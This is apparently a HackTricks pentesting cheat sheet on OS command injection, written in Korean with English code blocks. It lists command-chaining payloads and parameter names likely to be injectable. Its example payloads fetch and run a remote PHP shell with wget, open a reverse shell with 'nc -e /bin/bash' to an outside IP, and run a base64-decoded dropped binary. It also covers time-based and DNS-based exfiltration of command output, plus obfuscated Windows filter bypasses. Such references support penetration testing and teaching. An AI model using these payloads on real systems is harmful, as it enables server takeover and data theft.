hacktricks/pentesting-web/command-injection.md

# Command Injection

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## What is command Injection?

**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 액세스 또는 제어를 얻을 수 있게 합니다.

### Context

**입력이 주입되는 위치**에 따라 명령 전에 **인용된 컨텍스트를 종료**해야 할 수도 있습니다(`"` 또는 `'` 사용).

## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **제한** 우회

리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면 이 **우회**에 대해 읽어보는 것이 좋습니다:

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}

### **예시**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parameters

다음은 코드 주입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### 시간 기반 데이터 유출

데이터 추출: 문자 단위로
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### DNS 기반 데이터 유출

`https://github.com/HoLyVieR/dnsbin`에서 제공되는 도구를 기반으로 하며, dnsbin.zhack.ca에서도 호스팅됩니다.
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
온라인 도구로 DNS 기반 데이터 유출을 확인할 수 있습니다:

* dnsbin.zhack.ca
* pingb.in

### 필터링 우회

#### 윈도우
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}

## Brute-Force Detection List

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## References

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

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